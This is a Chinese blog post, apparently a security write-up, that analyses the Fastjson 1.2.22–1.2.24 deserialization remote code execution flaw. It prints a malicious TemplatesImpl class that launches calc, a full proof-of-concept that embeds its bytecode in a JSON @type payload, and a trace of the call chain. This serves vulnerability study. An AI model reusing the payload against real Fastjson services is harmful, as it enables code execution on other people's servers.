标签:java json.js enc security 官方 site xtend legend run
介绍:FastJson是一款由阿里开发的JSON库
影响版本:1.2.22-24
官方通告:https://github.com/alibaba/fastjson/wiki/security_update_20170315
补丁:https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b
先通过一个简单的demo来熟悉一下FastJson的基本操作。首先创建一个Student类,Student.java:
package ka1n4t.test;
public class Student {
public String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Students有一个公有属性name和一个私有属性age。下面使用一个测试类,将json字符串反序列化成Student对象,learnFJ.java:
package ka1n4t.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.JSONObject;
public class learnFJ {
public static void main(String args[]) {
String text = "{\"@type\":\"ka1n4t.test.Student\",\"name\":\"ZhangSan\",\"age\":123}";
Student obj1 = JSON.parseObject(text, Student.class, Feature.SupportNonPublicField);
System.out.println(obj1.getName());
}
}
结果:
先看一下用于反序列化的恶意类evilClass1.java:
package ka1n4t.poc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evilClass1 extends AbstractTranslet/*ka1n4t*/ {
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public evilClass1() throws IOException {
Runtime.getRuntime().exec("calc");
}
public static void main(String[] args) throws IOException {
evilClass1 helloworld = new evilClass1();
}
}
其中的构造方法是用exec弹个计算器。看下poc,vulApp1.java:
package ka1n4t.poc;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class vulApp1 {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
String result = Base64.encodeBase64String(bos.toByteArray());
return result;
}
public static void bad_method() {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
String evil_path = "D:\\Java-App\\fastjson-1.2.22\\target\\classes\\ka1n4t\\poc\\evilClass1.class";
String evil_code = readClass(evil_path);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evil_code+"\"]," +
"‘_name‘:‘a.b‘," +
"‘_tfactory‘:{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
public static void main(String args[]) {
bad_method();
}
}
核心部分:
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evil_code+"\"]," +
"‘_name‘:‘a.b‘," +
"‘_tfactory‘:{ }," +
"\"_outputProperties\":{ }}\n";
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
_bytecodes是经过base64编码的evilClass1的字节码文件,NASTY_CLASS是TemplatesImpl类。总结一下这个payload,利用JSON.parseObject反序列化TemplatesImpl类,其中_bytecodes属性是经过base64编码的恶意类字节码文件。
下面来分析一下反序列化TemplatesImpl的调用链,首先调用其getOutputProperties()方法:
然后下面经过java的反射机制,然后到达TemplatesImpl类:
跟进newTransformer()方法,这个方法是用于创建一个Transformer实例。然后到达getTransletInstance()方法:
getTransletInstance()方法用于创建一个translet实例,返回这个translet给newTransformer(),然后被包裹成Transformer对象。跟进一下这个方法,发现其调用了defineTransletClasses()用来加载_bytecodes中的类,接着又调用了_class[_transletIndex].newInstance()将defineTransletClasses()返回的类进行实例化:
先跟进一下defineTransletClasses方法:
可以看到,使用了loader.defineClass()方法用于加载_bytecodes的内容,并将返回的类赋值给_class[i](这里的i是0)。loader是TemplatesImpl自定义的类,跟进一下:
可以看到TransletClassLoader继承了Java类加载器—ClassLoader类,跟进其defineClass方法,发现直接调用了父类ClassLoader中的方法,所以就不再跟进了。
回到defineTransletClasses方法,其间接调用ClassLoader加载_bytecodes中的内容之后,将加载出来的类赋值给_class[0],然后结束,回到getTransletInstance方法,再看一下图:
可以看到,455行直接使用了_class[0].newInstance()创建实例,创建的过程中调用了evilClass1构造方法,然后触发了payload:
从github上直接pull下poc:https://github.com/shengqi158/fastjson-remote-code-execute-poc。使用idea打开工程,编译test.java:
然后会在target/classes/person下生成test.class文件。用同样的方法编译Poc.java。
配置运行方式
运行Poc:
1.廖新喜 fastjson 远程反序列化poc的构造和分析
2.Freebuf Fastjson 1.2.24反序列化漏洞分析
标签:java json.js enc security 官方 site xtend legend run
原文地址:https://www.cnblogs.com/litlife/p/9986427.html